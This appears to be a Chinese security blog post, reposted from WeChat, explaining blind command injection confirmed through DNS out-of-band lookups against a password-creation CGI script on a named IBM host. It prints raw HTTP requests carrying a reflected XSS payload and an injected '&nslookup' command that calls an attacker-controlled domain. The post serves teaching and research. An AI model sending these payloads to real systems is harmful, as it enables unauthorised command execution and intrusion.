正文
正常请求:
正常情况下,email参数应仅包含合法的电子邮件地址,不应包含特殊字符或恶意代码。例如:
GET /cgi-bin/PasswordCreate.pl?email=example%40email.com&ibm-submit=Submit HTTP/1.1
Host: dstuid-ww.dst.ibm.com
请求URL为:
https://dstuid-ww.dst.ibm.com/cgi-bin/PasswordCreate.pl?email=example%40email.com&ibm-submit=Submit
可以转换为POST 请求:(bp里面右击可以自动转换)
POST /cgi-bin/PasswordCreate.pl HTTP/1.1
Host: dstuid-ww.dst.ibm.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 39
Content-Type: application/x-www-form-urlencoded
Referer: https://dstuid-ww.dst.ibm.com/PasswordCreate.html
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36
X-Scanner: Netsparker
email=example%40email.com&ibm-submit=Submit
攻击请求 攻击请求包含恶意代码或命令,利用服务器处理不当的漏洞进行攻击。例如:
GET /cgi-bin/PasswordCreate.pl?email=%26nslookup%20%22dqzr3elx6wgztgtzd3if-0oyyf_qzd2wodwlaljh%22%2286m.r87.me%22cier4%3cscript%3ealert(1)%3c%2fscript%3emikflzhwaep&ibm-submit=Submit HTTP/1.1
Host: dstuid-ww.dst.ibm.com
此请求中,email参数包含了<script>alert(1)</script>
,当被服务器处理并返回给用户时,会在用户浏览器中执行alert(1)脚本。
升级为命令注入:
POST /cgi-bin/PasswordCreate.pl HTTP/1.1
Host: dstuid-ww.dst.ibm.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 39
Content-Type: application/x-www-form-urlencoded
Referer: https://dstuid-ww.dst.ibm.com/PasswordCreate.html
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36
X-Scanner: Netsparker
email=%26nslookup%20%22dqzr3elx6wgztgtzd3if-0oyyf_qzd2wodwlaljh%22%2286m.r87.me%22&ibm-submit=Submit
在此请求中,email参数被注入了&nslookup "dqzr3elx6wgztgtzd3if-0oyyf_qzd2wodwlaljh" "86m.r87.me"
,会导致服务器执行nslookup命令。
当这个命令被执行时,系统会尝试查询dqzr3elx6wgztgtzd3if-0oyyf_qzd2wodwlaljh.86m.r87.me
的DNS记录。攻击者可以在他们控制的DNS服务器(这里是 r87.me
的DNS服务器)上接收查询请求,从而确认命令在目标服务器上被执行了。这种技术被称为“DNS外带”技术,是一种用于确认命令执行的常见方法。通过这种方式,攻击者可以在没有直接响应的情况下,仍能确认服务器执行了他们注入的命令。
原文始发于微信公众号(迪哥讲事):通过DNS外带实现的命令注入
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论